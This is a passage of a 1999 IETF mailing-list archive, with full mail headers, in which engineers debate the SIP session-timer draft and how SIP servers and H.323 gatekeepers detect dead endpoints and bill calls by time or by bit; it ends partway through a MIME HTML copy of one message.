> in practice when the routers of the ISP refuse to send bits on the network
> on the behalf of non-trusted (to behave according to the ISP's policy) SIP
> end point (I guess that's another form of admission control ...).  This is
> the way that the MSO's are gearing up their VoIP network presently
> (PacketCable).  I.e., if you want to bill by the minute/second/bit, you
> either need to route the media stream through the SIP server and/or make the
> SIP server control the admission of the bits to the IP layer ... that is,
> there needs to be some form of policy decision flowing between a SIP server
> and routers that forwards the media stream bits from SIP endpoints ...

Well, bits are bits. Why would you want to control "admission" of bits
for this application, and not for others? If the model is that best
effort traffic is not billed by the bit, then you cannot bill for IP
telephony transport when best effort is used. Now, if you have diffserv,
then it seems quite reasonable to have the diffserv treatments get
"turned off" (i.e., packets go back to best effort treatment) when the
session terminates. In that case, billing would probably best be done
for transport in the COPS server, bandwidth broker, or whatever diffserv
element normally provides this function.


> 
> >>Even worse, a sip server / gatekeeper that wishes to track the end of a
> call
> >>so that it can bill by the second needs to worry about end points that
> just
> >>go out and die and never send an end of conversation ... this mechanism is
> >>not yet specified ...
> And if it wishes to bill by the byte, it needs endpoints that will report
> resource usage. It needs endpoints that will report periodically, or store
> records in non-volatile storage to report when they come up.
> Work is in progress, in both ITU SG-16, and ETSI EP-TIPHON.
> 
> So I can have the following, when a SIP server never gets a BYE, it doesn't
> need to ping the end point to see if its still alive, it can simply wait
> until the end-point re-REGISTERs, and then flag the call as terminated, and
> then, query the end point to tell it how many seconds were spent on line
> before the end-point died 

Registration is separate from in-progress calls. A client periodically
re-registers independently from whether its in a call or not. A client
may have been in many calls between two registers. Would you include
durations for all of these? Why would the user agent report them anyway,
being it is just going to get billed (again, keeping the DMZ model in
mind). I don't see the benefit of tying these mechanisms together.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Feb 12 06:45:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02607
	for confctrl-outgoing; Fri, 12 Feb 1999 06:45:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02602
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 06:45:57 -0800 (PST)
Received: from gatekeeper.wipsys.soft.net (gatekeeper.wipsys.soft.net [164.164.90.8])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA24792
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 06:45:40 -0800 (PST)
Received: by gatekeeper.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id UAA16910; Fri, 12 Feb 1999 20:17:28 -0500
Received: from kmglmail(164.164.26.11) by gatekeeper via smap (V2.0)
	id xma016899; Fri, 12 Feb 99 20:17:08 -0500
Received: from vipin by kmglmail.wipsys.soft.net (SMI-8.6/SMI-SVR4)
	id UAA01360; Fri, 12 Feb 1999 20:14:03 +0530
Message-ID: <01aa01be5695$6adc7060$c21aa4a4@vipin.wipsys.soft.net>
Reply-To: "Vipin  Palawat" <vipinpal@wipsys.soft.net>
From: "Vipin  Palawat" <vipinpal@wipsys.soft.net>
To: "Francois Menard Distribution List Management Account" <fm-listproc@mediatrix.com>
Cc: <'iptel@lists.research.bell-labs.com'>, <confctrl@ISI.EDU>,
        "'Douglas Clowes'" <dclowes@ozemail.com.au>,
        "List Management Account" <fm-listproc@mediatrix.com>,
        <Steven.R.Donovan@mci.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Fri, 12 Feb 1999 20:07:40 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Francois,

I can tell you how H.323 gatekeeper keeps track of Call duration .

There is one IRR message which keeps on coming from the endpoint which
actually says that 'I am alive '. The frequency of this IRR message is also
decided by gatekeeper in ACF message.
Now if gatekeeper does not get this IRR message within the specified time
then he can also request for status of endpoint by sending IRQ message for
which if he does'nt get IRR then he can assume the endpoint to be dead and
note down the time. Thus he can very well bill the endpoint based on time.In
this case he don't have to bother about reregistration of endpoint .

For packet based billing he can route the RTCP packets (which are of course
not the media stream) to get the information regarding RTP packets.

I think this will answer your queries and doubts .

for any more queries , write back to me.

Regards
Vipin Palawat
________________________________________________
Have  a  Nice  Day!!!

Vipin  Palawat
Wipro  Infotech :Enterprise Solutions (Telecom Division)
K-312, 5th Block , Koramangala,
Bangalore - 560 095 (India)
Ph: 91-80-5538301 Extn:2431
mailto:vipinpal@wipsys.soft.net

-----Original Message-----
From: Francois Menard Distribution List Management Account
<fm-listproc@mediatrix.com>
To: 'Douglas Clowes' <dclowes@ozemail.com.au>; Francois Menard Distribution
List Management Account <fm-listproc@mediatrix.com>;
'Pat.Calhoun@Eng.Sun.COM' <Pat.Calhoun@Eng.Sun.COM>; Donovan, Steven R.
(MCI) <Steven.R.Donovan@mci.com>; 'confctrl@ISI.EDU' <confctrl@ISI.EDU>;
'iptel@lists.research.bell-labs.com' <iptel@lists.research.bell-labs.com>
Date: Friday, February 12, 1999 6:31 PM
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt


Hi Douglas, how is it in the summer in Australia ?

> If they are your gateways, that you connect to the PSTN, and provide an
egress service, then you should be in control, and you can control charging
for the service.

Yes, its pretty easy to track PSTN resource usage, because the media stream
towards the PSTN must go through them ...

> If it's your gateway (you bought it) and you need it to obey your
controller (SIP server or gatekeeper) and it doesn't, then send it back and
get one that will. If it's your gateway (you bought it) and you don't want

I'm not against this scenario, its proven for militarized zones (i.e.
Intranets in entreprises controlled by MIS). Where I worrry is in DMZs,
where an ISP forces me to use its gatekeeper.  That's where I'm saying that
the end point has to become a trusted network element, in the control of the
ISP, in order to bill by the second/bit.  The control of the session becomes
in practice when the routers of the ISP refuse to send bits on the network
on the behalf of non-trusted (to behave according to the ISP's policy) SIP
end point (I guess that's another form of admission control ...).  This is
the way that the MSO's are gearing up their VoIP network presently
(PacketCable).  I.e., if you want to bill by the minute/second/bit, you
either need to route the media stream through the SIP server and/or make the
SIP server control the admission of the bits to the IP layer ... that is,
there needs to be some form of policy decision flowing between a SIP server
and routers that forwards the media stream bits from SIP endpoints ...

>>Even worse, a sip server / gatekeeper that wishes to track the end of a
call
>>so that it can bill by the second needs to worry about end points that
just
>>go out and die and never send an end of conversation ... this mechanism is
>>not yet specified ...
And if it wishes to bill by the byte, it needs endpoints that will report
resource usage. It needs endpoints that will report periodically, or store
records in non-volatile storage to report when they come up.
Work is in progress, in both ITU SG-16, and ETSI EP-TIPHON.

So I can have the following, when a SIP server never gets a BYE, it doesn't
need to ping the end point to see if its still alive, it can simply wait
until the end-point re-REGISTERs, and then flag the call as terminated, and
then, query the end point to tell it how many seconds were spent on line
before the end-point died ... has anybody thought of extending the REGISTER
message to include the duration of the previous call?  I think that this is
a pretty cool idea ;-)  Of course, if the end-point never re-registers, the
timer will still be running ... indefinitely.  We have a new policy on IP
networks, any call of length greater than 1 million minutes is free ...

BTW, I asked the question today to a supplier of H.323 stacks, as to what
generally did the commercial gatekeepers do in practice to track the end of
calls.  The person told me that the gatekeepers generally wait for the next
registration (i.e. their assumption is that the H.323 terminal will
re-register within hours), to flag the call as terminated.  They also rely
on either one of the two legs of the call to send a termination message, so
the case where the two legs are cut off never happens very frequently.  As
to what is the mechanism that a gatekeeper is supposed to use to "ping" the
terminal, that's not in the standard in their opinion.  Personally, I begin
to like the idea of the end-point presenting the duration of the last call
in the registration message ...

-=Francois=-
fmenard@mediatrix.com

---------
This message came from the IETF IPTEL Working Group Mailing List.



From confctrl-owner  Fri Feb 12 07:44:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA05113
	for confctrl-outgoing; Fri, 12 Feb 1999 07:44:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05108
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 07:44:21 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA27538
	for <confctrl@isi.edu>; Fri, 12 Feb 1999 07:44:20 -0800 (PST)
Received: from Eng.Sun.COM (engmail3 [129.144.170.5]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id HAA09400; Fri, 12 Feb 1999 07:43:44 -0800
Received: from hsmpka.eng.sun.com (phys-hsmpka.Eng.Sun.COM [129.146.51.37])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id HAA17060;
	Fri, 12 Feb 1999 07:43:42 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id HAA11937; Fri, 12 Feb 1999 07:43:24 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902121543.HAA11937@hsmpka.eng.sun.com>
Date: Fri, 12 Feb 1999 07:39:20 -0800
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        <Pat.Calhoun@Eng.Sun.COM>
Cc: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "Douglas Clowes" <dclowes@ozemail.com.au>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Patrice Calhoun wrote:
>> 
>> My only concern here is how does the service provider offer a service *and*
>> make at least enough money to recover the capital costs (of course, certain
>> providers may want to cover many additional costs, which is outside the scope
>> of this discussion :).
>
>It comes back to the same question thats been brought up here on
>numerous occassions - what are you billing for? SIP provides the setup
>services, not the transport services. So, it makes sense for a SIP
>server to charge for what it actually does - set the call up. It really
>doesn't make sense, I don't think, to try to bill by the minute for the
>SIP part of the call, since its really a transaction service. SIP is
>only one part of the picture, though. There is also transport service -
>diffserv prioritization, for example. A service provider can happily
>charge by the minute,bit, packet, or whatever here.
>

This is perhaps my mis-understanding. I have been working with the TIA recently
and they have adopted MobileIP/DIAMETER for the next generation cellular
data networks. When one considers voice over IP using IP cellular phones, one
quickly wonders how the charging will really work. Yes, it is true that one
will charge for network access, but conceivably, one could also charge for
calls as well. This is especially true if these calls span providers.

Perhaps I have all of this wrong. I understand that charging for an LDAP
query cannot amount to much, and perhaps that is all bundled as part of the
access charge. Are there any providers on this list that have an idea on how
they will actually bill for these services?

PatC


From confctrl-owner  Fri Feb 12 08:48:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA07629
	for confctrl-outgoing; Fri, 12 Feb 1999 08:48:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07624
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 08:48:26 -0800 (PST)
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA01730
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 08:48:25 -0800 (PST)
Received: from Eng.Sun.COM (engmail2 [129.146.1.25]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id IAA29647; Fri, 12 Feb 1999 08:47:29 -0800
Received: from hsmpka.eng.sun.com (hsmpka.Eng.Sun.COM [129.146.53.47])
	by Eng.Sun.COM (SMI-8.6/SMI-5.3) with SMTP id IAA27204;
	Fri, 12 Feb 1999 08:47:26 -0800
Received: from hsmpka.eng.sun.com by hsmpka.eng.sun.com (SMI-8.6/SMI-SVR4)
	id IAA25261; Fri, 12 Feb 1999 08:47:07 -0800
From: Pat.Calhoun@Eng.Sun.COM (Patrice Calhoun)
Message-Id: <199902121647.IAA25261@hsmpka.eng.sun.com>
Date: Fri, 12 Feb 1999 08:43:02 -0800
To: "Francois Menard Distribution List Management Account" <fm-listproc@mediatrix.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        "Francois Menard Distribution List Management Account" <fm-listproc@mediatrix.com>,
        "'Douglas Clowes'" <dclowes@ozemail.com.au>
Reply-To: <Pat.Calhoun@Eng.Sun.COM>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
X-Mailer: Sun NetMail 2.2.5
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Hi Douglas, how is it in the summer in Australia ?
>
>> If they are your gateways, that you connect to the PSTN, and provide an
>egress service, then you should be in control, and you can control charging
>for the service.
>
>Yes, its pretty easy to track PSTN resource usage, because the media stream
>towards the PSTN must go through them ...
>
>> If it's your gateway (you bought it) and you need it to obey your
>controller (SIP server or gatekeeper) and it doesn't, then send it back and
>get one that will. If it's your gateway (you bought it) and you don't want
>
>I'm not against this scenario, its proven for militarized zones (i.e.
>Intranets in entreprises controlled by MIS). Where I worrry is in DMZs,
>where an ISP forces me to use its gatekeeper.  That's where I'm saying that
>the end point has to become a trusted network element, in the control of the
>ISP, in order to bill by the second/bit.  The control of the session becomes
>in practice when the routers of the ISP refuse to send bits on the network
>on the behalf of non-trusted (to behave according to the ISP's policy) SIP
>end point (I guess that's another form of admission control ...).  This is
>the way that the MSO's are gearing up their VoIP network presently
>(PacketCable).  I.e., if you want to bill by the minute/second/bit, you
>either need to route the media stream through the SIP server and/or make the
>SIP server control the admission of the bits to the IP layer ... that is,
>there needs to be some form of policy decision flowing between a SIP server
>and routers that forwards the media stream bits from SIP endpoints ...
>
>>>Even worse, a sip server / gatekeeper that wishes to track the end of a
>call
>>>so that it can bill by the second needs to worry about end points that
>just
>>>go out and die and never send an end of conversation ... this mechanism is
>>>not yet specified ...
>And if it wishes to bill by the byte, it needs endpoints that will report
>resource usage. It needs endpoints that will report periodically, or store
>records in non-volatile storage to report when they come up.
>Work is in progress, in both ITU SG-16, and ETSI EP-TIPHON.
>
>So I can have the following, when a SIP server never gets a BYE, it doesn't
>need to ping the end point to see if its still alive, it can simply wait
>until the end-point re-REGISTERs, and then flag the call as terminated, and
>then, query the end point to tell it how many seconds were spent on line
>before the end-point died ... has anybody thought of extending the REGISTER
>message to include the duration of the previous call?  I think that this is
>a pretty cool idea ;-)  Of course, if the end-point never re-registers, the
>timer will still be running ... indefinitely.  We have a new policy on IP
>networks, any call of length greater than 1 million minutes is free ...
>
>BTW, I asked the question today to a supplier of H.323 stacks, as to what
>generally did the commercial gatekeepers do in practice to track the end of
>calls.  The person told me that the gatekeepers generally wait for the next
>registration (i.e. their assumption is that the H.323 terminal will
>re-register within hours), to flag the call as terminated.  They also rely
>on either one of the two legs of the call to send a termination message, so
>the case where the two legs are cut off never happens very frequently.  As
>to what is the mechanism that a gatekeeper is supposed to use to "ping" the
>terminal, that's not in the standard in their opinion.  Personally, I begin
>to like the idea of the end-point presenting the duration of the last call
>in the registration message ...

Having built PPP routers in the past, I would never trust the PPP client to
report usage, and generate accounting information from it. Actually, the only
boxes that I ever would really trust are the ones that I have control over,
which in this case seems to be the SIP Servers.

PatC
>
>-=Francois=-
>fmenard@mediatrix.com



From confctrl-owner  Fri Feb 12 09:10:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA08655
	for confctrl-outgoing; Fri, 12 Feb 1999 09:10:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08634
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 09:10:12 -0800 (PST)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA03590
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 09:10:11 -0800 (PST)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <DPD1VKVR>; Fri, 12 Feb 1999 12:10:33 -0500
Message-ID: <F16674FCE856D211AC0D00E02910AE0A07B51A@INTERNAL>
From: Francois Menard <fmenard@mediatrix.com>
To: "'ernst.horvath@siemens.at'" <ernst.horvath@siemens.at>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>,
        Francois Menard Distribution List Management Account
	 <fm-listproc@mediatrix.com>,
        "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>,
        "'Pat.Calhoun@Eng.Sun.COM'"
	 <Pat.Calhoun@Eng.Sun.COM>,
        "'Steven.R.Donovan@mci.com'"
	 <Steven.R.Donovan@mci.com>
Subject: RE: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Fri, 12 Feb 1999 12:10:33 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> [Ernst Horvath]  Not quite true - for the gatekeeper, ITU-T  
> Recommendation H.225.0 specifies the Disengage message for the regular  
> termination of a call (i.e. the gatekeeper is informed immediately upon  
> termination), but there is also the Status request/report procedure to  
> check the status of an end point. If exchanged at regular intervals  
> (say every n seconds, while a call exists), the gatekeeper will notice  
> the "death" of an end point with a delay of at most n seconds.
> 

Which means that if you want to maintain the billing accuracy that is
popular in today's PSTN, you'd have to set this frequency to one second...
Has anyone analyzed the scalability of this ? How big is the PDU of the
status message ?

-=Francois=-

From confctrl-owner  Fri Feb 12 10:48:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA13146
	for confctrl-outgoing; Fri, 12 Feb 1999 10:48:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA13141
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 10:48:05 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA13347
	for <confctrl@isi.edu>; Fri, 12 Feb 1999 10:48:04 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Feb 12 13:46:45 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id NAA18161;
	Fri, 12 Feb 1999 13:42:44 -0500 (EST)
Message-ID: <36C475A0.CFAFC36F@dnrc.bell-labs.com>
Date: Fri, 12 Feb 1999 13:40:32 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Vipin Palawat <vipinpal@wipsys.soft.net>
CC: Francois Menard Distribution List Management Account <fm-listproc@mediatrix.com>,
        'iptel@lists.research.bell-labs.com', confctrl@ISI.EDU,
        "'Douglas Clowes'" <dclowes@ozemail.com.au>, Steven.R.Donovan@mci.com
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <01aa01be5695$6adc7060$c21aa4a4@vipin.wipsys.soft.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Vipin Palawat wrote:
> 
> Hello Francois,
> 
> I can tell you how H.323 gatekeeper keeps track of Call duration .
> 
> There is one IRR message which keeps on coming from the endpoint which
> actually says that 'I am alive '. The frequency of this IRR message is also
> decided by gatekeeper in ACF message.
> Now if gatekeeper does not get this IRR message within the specified time
> then he can also request for status of endpoint by sending IRQ message for
> which if he does'nt get IRR then he can assume the endpoint to be dead and
> note down the time. Thus he can very well bill the endpoint based on time.In
> this case he don't have to bother about reregistration of endpoint .

So, if I'm writing H.323 client software, and I simply don't send IRR or
respond to IRQ, the gatekeeper thinks I'm down, the billing stops, and I
get cheap phone calls?

> 
> For packet based billing he can route the RTCP packets (which are of course
> not the media stream) to get the information regarding RTP packets.

RTCP packets are sent along with media packets (same address, one port
higher), and are end to end. Are you saying that they get rerouted to
gatekeepers?

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Feb 12 11:51:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA16017
	for confctrl-outgoing; Fri, 12 Feb 1999 11:51:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA16012
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 11:51:01 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21765
	for <confctrl@ISI.EDU>; Fri, 12 Feb 1999 11:51:01 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id NAA15743;
	Fri, 12 Feb 1999 13:51:58 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id NAA21147;
	Fri, 12 Feb 1999 13:50:11 -0600 (CST)
Received: from b04a42.exu.ericsson.se (b04a42 [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id NAA25874; Fri, 12 Feb 1999 13:50:08 -0600 (CST)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (eussean@localhost) by b04a42.exu.ericsson.se (8.8.2/8.6.12) id NAA03123; Fri, 12 Feb 1999 13:49:33 -0600 (CST)
Date: Fri, 12 Feb 1999 13:49:33 -0600 (CST)
Message-Id: <199902121949.NAA03123@b04a42.exu.ericsson.se>
To: ernst.horvath@siemens.at, fmenard@mediatrix.com
Subject: RE: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Cc: confctrl@ISI.EDU, fm-listproc@mediatrix.com,
        iptel@lists.research.bell-labs.com, Pat.Calhoun@Eng.Sun.COM,
        Steven.R.Donovan@mci.com
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> 
> > [Ernst Horvath]  Not quite true - for the gatekeeper, ITU-T  
> > Recommendation H.225.0 specifies the Disengage message for the regular  
> > termination of a call (i.e. the gatekeeper is informed immediately upon  
> > termination), but there is also the Status request/report procedure to  
> > check the status of an end point. If exchanged at regular intervals  
> > (say every n seconds, while a call exists), the gatekeeper will notice  
> > the "death" of an end point with a delay of at most n seconds.
> > 
> 
> Which means that if you want to maintain the billing accuracy that is
> popular in today's PSTN, you'd have to set this frequency to one second...
> Has anyone analyzed the scalability of this ? How big is the PDU of the
> status message ?

This assumes the best case scenario w/no re-transmissions and perfect
reliability of the status requests (which does not exist for UDP SIP 
communication). The bottom line seems to be that if you want to charge
on a time usage basis, you MUST have control of the media stream which is
outside the scope of SIP itself.

Sean Olson

From confctrl-owner  Fri Feb 12 12:26:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA17496
	for confctrl-outgoing; Fri, 12 Feb 1999 12:26:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA17491
	for <confctrl@zephyr.isi.edu>; Fri, 12 Feb 1999 12:26:13 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA25750
	for <confctrl@isi.edu>; Fri, 12 Feb 1999 12:26:12 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id TAA20660; Fri, 12 Feb 1999 19:24:48 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <1N9CDJ7G>; Fri, 12 Feb 1999 20:25:15 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8577416@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Pat.Calhoun@Eng.Sun.COM'" <Pat.Calhoun@Eng.Sun.COM>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Cc: "'iptel@lists.research.bell-labs.com'"
	 <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'"
	 <confctrl@ISI.EDU>,
        Douglas Clowes <dclowes@ozemail.com.au>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Fri, 12 Feb 1999 20:25:06 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE56C5.CB3AE254"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE56C5.CB3AE254
Content-Type: text/plain

This is an interesting discussion, however I'm not sure that we are going to
get answers to the questions that Pat is asking.  Only time will tell how
services providers make money off of IP based telephony services.

However, this is not the purpose of proposing the addition of the session
timer to the SIP protocol.  The primary purpose is to give the stateful SIP
Proxy Server a method of determining the validity of the individual sessions
for which it is keeping state.

Are there comments on the mechanisms proposed in the session-timer draft?

Steve

> -----Original Message-----
> From:	Pat.Calhoun@Eng.Sun.COM [SMTP:Pat.Calhoun@Eng.Sun.COM]
> Sent:	Friday, February 12, 1999 9:39 AM
> To:	Jonathan Rosenberg; Pat.Calhoun@Eng.Sun.COM
> Cc:	Donovan, Steven R. (MCI); 'iptel@lists.research.bell-labs.com';
> 'confctrl@ISI.EDU'; Douglas Clowes
> Subject:	Re: draft-ietf-mmusic-sip-session-timer-00.txt
> 
> 
> >Patrice Calhoun wrote:
> >> 
> >> My only concern here is how does the service provider offer a service
> *and*
> >> make at least enough money to recover the capital costs (of course,
> certain
> >> providers may want to cover many additional costs, which is outside the
> scope
> >> of this discussion :).
> >
> >It comes back to the same question thats been brought up here on
> >numerous occassions - what are you billing for? SIP provides the setup
> >services, not the transport services. So, it makes sense for a SIP
> >server to charge for what it actually does - set the call up. It really
> >doesn't make sense, I don't think, to try to bill by the minute for the
> >SIP part of the call, since its really a transaction service. SIP is
> >only one part of the picture, though. There is also transport service -
> >diffserv prioritization, for example. A service provider can happily
> >charge by the minute,bit, packet, or whatever here.
> >
> 
> This is perhaps my mis-understanding. I have been working with the TIA
> recently
> and they have adopted MobileIP/DIAMETER for the next generation cellular
> data networks. When one considers voice over IP using IP cellular phones,
> one
> quickly wonders how the charging will really work. Yes, it is true that
> one
> will charge for network access, but conceivably, one could also charge for
> calls as well. This is especially true if these calls span providers.
> 
> Perhaps I have all of this wrong. I understand that charging for an LDAP
> query cannot amount to much, and perhaps that is all bundled as part of
> the
> access charge. Are there any providers on this list that have an idea on
> how
> they will actually bill for these services?
> 
> PatC
> 
> 
> ---------
> This message came from the IETF IPTEL Working Group Mailing List.

------_=_NextPart_001_01BE56C5.CB3AE254
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: draft-ietf-mmusic-sip-session-timer-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This is an =
interesting discussion, however I'm not sure that we are going to get =
answers to the questions that Pat is asking.&nbsp; Only time will tell =
how services providers make money off of IP based telephony =
services.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">However, this is =
not the purpose of proposing the addition of the session timer to the =
SIP protocol.&nbsp; The primary purpose is to give the stateful SIP =
Proxy Server a method of determining the validity of the individual =
sessions for which it is keeping state.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Are there =
